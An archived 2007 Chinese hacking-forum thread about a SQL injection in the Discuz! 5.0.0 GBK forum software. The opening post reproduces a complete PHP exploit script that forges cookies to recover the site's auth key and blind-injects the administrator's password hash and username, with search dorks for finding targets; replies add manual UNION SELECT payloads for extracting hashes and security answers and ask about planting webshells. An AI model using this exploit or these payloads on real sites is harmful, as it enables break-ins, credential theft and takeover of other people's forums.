邪恶八进制信息安全团队技术讨论组's Archiver

pixy 2007-2-3 20:29

[讨论]Discuz! 5.0.0 PHP论坛漏洞

议题作者:pixy
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

我想很多朋友都看过这个漏洞了吧 为什么我们邪八还没发出来呢..
转载的其他黑客资源站的文章,谁做得出来EXP可以利用利用。
现在DZ用户多着呢...要是通杀的话…… [s:39] [s:39]
[code]<?php
print_r(&#39;
---------------------------------------------------------------------------
Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit
by rgod cccccccccc
site: ccccccccccccccc
dorks: "powered by discuz! 5.0.0
"powered by discuz!
---------------------------------------------------------------------------
&#39;);
if ($argc<3) {
print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:  target server (ip/hostname)
path:  path to discuz
Options:
-p[port]:  specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /discuz/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /discuz/ -p81
---------------------------------------------------------------------------
&#39;);
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
$result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==&#39;&#39;) {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo &#39;Not a valid proxy...&#39;;die;
}
$parts=explode(&#39;:&#39;,$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo &#39;No response from proxy...&#39;;die;
}
}
fputs($ock,$packet);
if ($proxy==&#39;&#39;) {
$html=&#39;&#39;;
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html=&#39;&#39;;
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>&#39;/&#39;) or ($path[strlen($path)-1]<>&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

echo "please wait...\n";

//from global.func.php
function authcode($string, $operation, $key = &#39;&#39;) {
$key = $key ? $key : $GLOBALS[&#39;discuz_auth_key&#39;];
$coded = &#39;&#39;;
$keylength = 32;
$string = $operation == &#39;DECODE&#39; ? base64_decode($string) : $string;
for($i = 0; $i < strlen($string); $i += 32) {
$coded .= substr($string, $i, 32) ^ $key;
}
$coded = $operation == &#39;ENCODE&#39; ? str_replace(&#39;=&#39;, &#39;&#39;, base64_encode($coded)) : $coded;
return $coded;
}

//stolen from install.php
function random($length) {
$hash = &#39;&#39;;
$chars = &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz&#39;;
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}

$agent="Googlebot/2.1";
//see sql errors... you need auth key,
//it&#39;s a value mixed up with the random string in cache_settigns.php and your user-agent, so let&#39;s ask ;)
$tt="";for ($i=0; $i<=255; $i++){$tt.=chr($i);}
while (1)
{
$discuz_auth_key=random(32);
$packet ="GET ".$p."admincp.php?action=recyclebin HTTP/1.0\r\n";
$packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof
$packet.="User-Agent: $agent\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$tt,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$html=html_entity_decode($html);
$html=str_replace("<br />","",$html);
$t=explode("AND m.password=&#39;",$html);
$t2=explode("&#39; ",$t[1]);
$pwd_f=$t2[0];
$t=explode("AND m.secques=&#39;",$html);
$t2=explode("&#39;\n",$t[1]);
$secques_f=$t2[0];
$t=explode("AND m.uid=&#39;",$html);
$t2=explode("&#39;\x0d",$t[1]);
$uid_f=$t2[0];
$my_string=$pwd_f."\t".$secques_f."\t".$uid_f;
if ((strlen($my_string)==270) and (!eregi("=",$my_string))){
break;
}
}
$temp = authcode("suntzu\tsuntzu\t".$tt,"ENCODE");
//calculating key...
$key="";
for ($j=0; $j<32; $j++){
for ($i=0; $i<255; $i++){
$aa="";
if ($j<>0){
for ($k=1; $k<=$j; $k++){
$aa.="a";
}
}
$GLOBALS[&#39;discuz_auth_key&#39;]=$aa.chr($i);
$t = authcode($temp,"DECODE");
if ($t[$j]==$my_string[$j]){
$key.=chr($i);
}
}
}

//echo "AUTH KEY ->".$key."\r\n";
$GLOBALS[&#39;discuz_auth_key&#39;]=$key;

echo "pwd hash (md5) -> ";
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
//you can use every char because of base64_decode()...so this bypass magic quotes...
//and some help by extract() to overwrite vars
$sql="999999&#39;/**/UNION/**/SELECT/**/&#39;tOe7fl&#39;,1,s.groupid=&#39;6&#39;/**/AS/**/ipbanned,1,0,20366,1,&#39;suntzu&#39;,&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;,&#39;&#39;,1,1,(IF((ASCII(SUBSTRING(m.password,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$password.=chr($i);echo chr($i);sleep(1);break;
}
}
if ($i==255) {
die("\nExploit failed...");
}
}
$j++;
}

echo "\nadmin user  -> ";
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999&#39;/**/UNION/**/SELECT/**/&#39;tOe7fl&#39;,1,s.groupid=&#39;6&#39;/**/AS/**/ipbanned,1,0,20366,1,&#39;suntzu&#39;,&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;,&#39;&#39;,1,1,(IF((ASCII(SUBSTRING(m.username,$j,1))=".$i."),1,0)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/cdb_sessions/**/s,/**/cdb_members/**/m/**/WHERE/**/adminid=1/**/LIMIT/**/1/*";
$packet ="GET ".$p."admincp.php?action=recyclebin& HTTP/1.0\r\n";
$packet.="User-Agent: $agent\r\n";
$packet.="CLIENT-IP: 1.2.3.4\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: adminid=1; cdb_sid=1; cdb_auth=".authcode("suntzu\tsuntzu\t".$sql,"ENCODE").";\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
if (eregi("action=groupexpiry",$html)){
$admin.=chr($i);echo chr($i);sleep(1);break;
}
if ($i==255) {die("\nExploit failed...");}
}
$j++;
}

function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}

if (is_hash($password)) {
echo "exploit succeeded...";
}
else {
echo "exploit failed...";
}
?>[/code]

sugarjh 2007-2-3 22:54

有人做出来了Discuz! 5.0.0 GBK最新漏洞利用程序
但是不知道怎么用!要出错!

pub!1c 2007-2-4 17:12

[url]http://forum.eviloctal.com/read-htm-tid-25710.html[/url]
10.25 就发出来了.

[quote][b]用法:  [/b]
hacking  forum.domain.com
php.exe dz.php forum.domain.com /
如果Web端口是81
php.exe dz.php forum.domain.com -p 81
论坛目录是 upload
php.exe dz.php forum.domain.com /upload/ 81[/quote]

Usage: php &#39;.$argv[0].&#39; host path OPTIONS
host:  target server (ip/hostname)
path:  path to discuz
Options:
-p[port]:  specify a port other than 80
-P[ip:port]: specify a proxy
Example:
php &#39;.$argv[0].&#39; localhost /discuz/ -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost /discuz/ -p81

ay13y 2007-2-6 14:15

Discuz! 5.0.0 GBK SQL injection / admin credentials disclosure exploit
by rgod [email]rgod@autistici.org[/email]
site: [url]http://retrogod.altervista.org[/url]
dorks: "powered by discuz! 5.0.0
"powered by discuz!
---------------------------------------------------------------------------
please wait...

用了 一直在这WAIT。。 问下 是不是EXP有问题啊

vinson5200 2007-2-8 12:45

那个要在本地构建PHP平台才可以用的..我手上有Discuz5...Discuz4.和phpwind5的溢出程序..是exe编译的,要的话我拿出来..
但是我没有成功过呢..每次都只溢出前5位的md5密码

zzhcool 2007-2-9 19:37

不知道怎么用,有详细说明么?

hack988 2007-2-10 17:36

参看一下php cli模式的手册

xi5566 2007-2-10 22:57

[quote][b]引用第6楼[i]vinson5200[/i]于[i]2007-02-08 12:45[/i]发表的[/b]:
那个要在本地构建PHP平台才可以用的..我手上有Discuz5...Discuz4.和phpwind5的溢出程序..是exe编译的,要的话我拿出来..
但是我没有成功过呢..每次都只溢出前5位的md5密码[/quote]


貌似益处=了4个小时没结果

else 2007-2-11 07:40

配合Discuz新的暴路径漏洞一起,还是很有搞头的 [s:35]

喜气洋洋 2007-2-11 12:42

不知道怎么用
好好学ASP PHP去

net-owl 2007-2-16 22:49

基本上没用的兄弟,我试过了。在我本地搭建的PHP下没有成功,在我们小组官方下也没成功

mick 2007-3-13 06:21

求(这是什么加密方法及如何解密15位)
Discuz! 5.0.0 PHP论坛 中遇到
5416d7cd6ef195a
c8837b23ff8aaa8

weeee4 2007-3-13 22:54

[quote]引用第18楼foxbase于2007-03-13 19:02发表的 :
网上不是有很多了嘛[/quote]
此洞非彼洞

惡魔孩子 2007-3-14 18:17

Discuz! 5.0.0漏洞能拿到管理员密码 但是怎么能在后台拿webshell阿
郁闷ing

zmcc 2007-3-16 15:59

[quote]引用第16楼mick于2007-03-13 06:21发表的 :
求(这是什么加密方法及如何解密15位)
Discuz! 5.0.0 PHP论坛 中遇到
5416d7cd6ef195a
c8837b23ff8aaa8[/quote]


我也爆出15位的,不知道怎么搞,谁给解释下,或者怎么弄!

旋风 2007-3-18 13:16

[quote]引用第11楼mick于2007-03-13 06:21发表的 :
求(这是什么加密方法及如何解密15位)
Discuz! 5.0.0 PHP论坛 中遇到
5416d7cd6ef195a
c8837b23ff8aaa8[/quote]
呵呵,楼上说的这个漏洞和主题 不符合啊,不过我知道这个漏洞,关于得到的是15位有办法解决的
你把SQL语句换一下啊
0) union select length(password),2,0 from cdb_members where uid=1/*
这句是得到MD5长度
0) union select left(password,15),2,0 from cdb_members where uid=19/*
这句得到MD5前15位
0) union select SUBSTRING(password,16,15),2,0 from cdb_members where uid=19/*
这句得到MD5 16-30位
0) union select right(password,2),2,0 from cdb_members where uid=19/*
这句得到MD5 31-32位

MD5一共是32位的

zmcc 2007-3-20 13:29

[quote]引用第15楼旋风于2007-03-18 13:16发表的 :

呵呵,楼上说的这个漏洞和主题 不符合啊,不过我知道这个漏洞,关于得到的是15位有办法解决的
你把SQL语句换一下啊
0) union select length(password),2,0 from cdb_members where uid=1/*
这句是得到MD5长度
.......[/quote]
谢谢,我去试一下,行的话会很感谢你的,对了有什么好的PHP马不?

zmcc 2007-3-20 15:37

我换了你说的方法,但是没有一个是可以用的,


你帮我弄弄看。

孤独浪子 2007-3-22 22:27

貌似不管用的。大哥

旋风 2007-3-23 15:45

那可能是漏洞补了,要是还在的话肯定能得到32位的MD5

幽游 2007-3-23 16:20

15位是因为DZ默认用户名最多只能注册15位的,暴密码的地方本来是显示用户名的,当然只有15位了

冷了左眼 2007-3-24 16:05

0) union select left(password,15),2,0 from cdb_members where uid=2/*
0) union select SUBSTRING(password,16,15),2,0 from cdb_members where uid=2/*
0) union select right(password,2),2,0 from cdb_members where uid=2/*

测式成功...

hackpp 2007-3-26 20:27

现在又遇到一个问题.得到MD5密码 破解成功 登陆需要 回答安全提问 郁闷死~~~~~ 还有什么办法没?

nixilin 2007-3-27 18:46

[size=12]可以把密码的MD5弄出来,也就可以把安全提问的答案弄出来啊(同一用户同一数据库,可以union出password那也就可以union出答案啊)。
自己下个discuz和phpmyadmin本地测试一下,应该就可以知道存放安全提问的答案的表名字了。
再去union select 一次,也许就可以暴出来了。[/size]

wgytia 2007-3-29 09:17

[quote]引用第11楼mick于2007-03-13 06:21发表的 :
求(这是什么加密方法及如何解密15位)
Discuz! 5.0.0 PHP论坛 中遇到
5416d7cd6ef195a
c8837b23ff8aaa8[/quote]
那是出错拉.貌似你没看过那教程??有些的只能爆出15位的MD5 还有一个.如果你坚持要猜出那一个的话...那密码就是个天文数字了...

zmcc 2007-3-29 16:52

那就是爆不出来了,!哎,不过还是谢谢你啊。。!

xuanyuanha 2007-3-29 19:33

原来是这样啊,知道拉

页: [1]
© 1999-2008 EvilOctal Security Team